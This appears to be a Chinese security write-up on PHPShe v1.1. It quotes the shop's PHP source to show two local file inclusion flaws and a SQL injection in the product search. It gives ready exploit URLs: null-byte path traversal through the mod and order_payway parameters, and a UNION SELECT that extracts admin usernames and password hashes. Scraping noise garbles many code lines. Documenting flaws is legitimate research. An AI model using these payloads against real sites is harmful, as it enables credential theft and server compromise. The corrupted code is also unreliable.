phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
# l7 a  u; F% d( s/ g/* Phpshe v1.1 Vulnerability
4 [7 s9 R. ]0 U: O0 q, S8 x' e7 U/* ========================
/ v4 ?. C8 R1 j. r' ^/* By: : Kn1f3
' L  v7 P5 `9 I/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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3 H4 K3 [! X/ J$ _: ]//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
( k9 s, q" I  ~session_start();
% b- |' g. S" e( ]0 Y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
( m% p" X5 C% o# y1 \0 q6 n
1 ^. u6 U- O- J% g- l* t8 [$ m0×01 包含漏洞
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+ L! T! r! c* ^& G$ y6 Q: b//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
5 n" S$ l# U8 W5 cinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! J! Z( \6 L) |! h, K' dpe_result();
?>
6 x* U, {' M' g! w* N, w//common 文件 第15行开始
' w, H5 t2 ~8 {4 o7 C1 @url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( x3 ?+ V! E/ u2 F  ?9 H$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
, H7 r) Y1 M+ G) M4 I1 p$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
- T% _( j$ }8 Z9 _  qif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
/ y- N! ], \; ]1 P; m( u' r/ L}
; |4 Z+ p% P: N3 Q& O/ A$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 P% G. N2 E$ C* g- ?/ `7 M- v3 s7 @0 qif ($_g_orderby) {
8 I. H+ H; I4 {5 N3 U$orderby = explode('_', $_g_orderby);
% @: L3 v8 F; K$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! R# c9 _' A: p+ z" B- m7 l}
% R& l* J1 m' Z7 ^  Uelse {
$sqlwhere .= " order by `product_id` desc";
* o$ D  X6 ^8 w( U}
' B" J! L3 K- F# H$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
; B, h+ O3 G; X; L//热卖排行
$ S* Y# I7 [% O, |$product_hotlist = product_hotlist();
//当前路径
# n# M+ V4 N4 K7 z$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
- ^% w5 O; N3 s' j//跟进selectall函数库
5 @  ^, [/ u9 N0 b1 M& L. q; jpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
1 l# p) M8 Q4 D( A5 G//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
9 c- |9 d3 S2 ~' E9 n/ {* e, _' T$ V7 M//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

& _* {8 e' ~( h! a$ i# |% y$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

7 \. \" v! F  K" G8 a+ k$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: f6 o1 s' P/ {if ($k == 'bank') {

  D' n% ^+ m9 q- U$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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3 g$ Y8 h2 v- V9 {( p1 _: y$ S}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

  a. j4 z  y$ M; T: rif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

2 Q4 j( o/ k) m/ S7 Cinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- j, R  y; }# a$ u6 t) }% j5 g}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

6 H1 F1 l0 G: Q9 f% ^7 s& d$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

# d( b7 n6 i2 C! wbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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